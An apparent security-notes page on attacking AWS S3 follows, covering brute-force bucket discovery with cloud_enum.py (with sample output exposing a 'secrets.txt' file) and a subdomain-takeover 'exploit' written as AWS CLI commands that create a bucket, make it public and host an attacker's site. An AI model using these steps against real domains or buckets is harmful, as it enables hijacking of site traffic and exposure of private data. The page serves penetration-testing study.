🎯Attacks, Techniques, and Tools

Tools and techniques for attacking, exploiting, and enumerating AWS S3

Code Injection

If an S3 bucket hosting a static website permits the mv command, someone could maliciously replace the webpage with another.


Identify S3 Bucket Names

Since all S3 buckets have a unique URL, they can automatically be discovered.

cloudenum.py

cloudenum.py works by brute-forcing bucket names and informing if the bucket is real or not based on HTTP status codes. If a bucket is discovered, it attempts to list its contents s3:ListBucket.

# python3 ./cloud_enum.py -k tylerexposedbucket234 --disable-gcp --disable-azure

[+] Checking for S3 buckets
  OPEN S3 BUCKET: http://tylerexposedbucket234.s3.amazonaws.com/
      FILES:
      ->http://tylerexposedbucket234.s3.amazonaws.com/tylerexposedbucket234
      ->http://tylerexposedbucket234.s3.amazonaws.com/dogs.txt
      ->http://tylerexposedbucket234.s3.amazonaws.com/secrets.txt
  Protected S3 Bucket: http://tyler.s3.amazonaws.com/
  Protected S3 Bucket: http://tyler1.s3.amazonaws.com/
  Protected S3 Bucket: http://tyler-1.s3.amazonaws.com/
  Protected S3 Bucket: http://tyler2.s3.amazonaws.com/

Subdomain Takeover

S3 buckets can host static websites and leverage a domain name by having an associated CNAME record configured. This allows you to go to to mywebsite.com instead of https://mywebsite.s3.amazonaws.com. However, if the bucket is deleted but the CNAME still exists, an attacker can create a new bucket and website, effectively routing any traffic to the attackers website.

This attack can be discovered while navigating to a domain and receiving a 404 error along with the code NoSuchBucket. The examples below show a bucket without a CNAME record but the same error messages would show regardless.

Exploit

# create an s3 bucket
aws s3api create-bucket --bucket <bucketName> --region <region>

# configures the bucket to host a website
aws s3 website s3://<bucketName> --index-document index.html --error-document error.html

# copy website files to s3
aws s3 cp index.html error.html s3://<bucketName> 

# set the bucket to public
aws s3api put-public-access-block --bucket <bucketName> --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

# add a bucket policy enabling anyone to view the website
aws s3api put-bucket-policy --bucket <bucketName> --policy "{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::<bucketName>/"}]}"

Last updated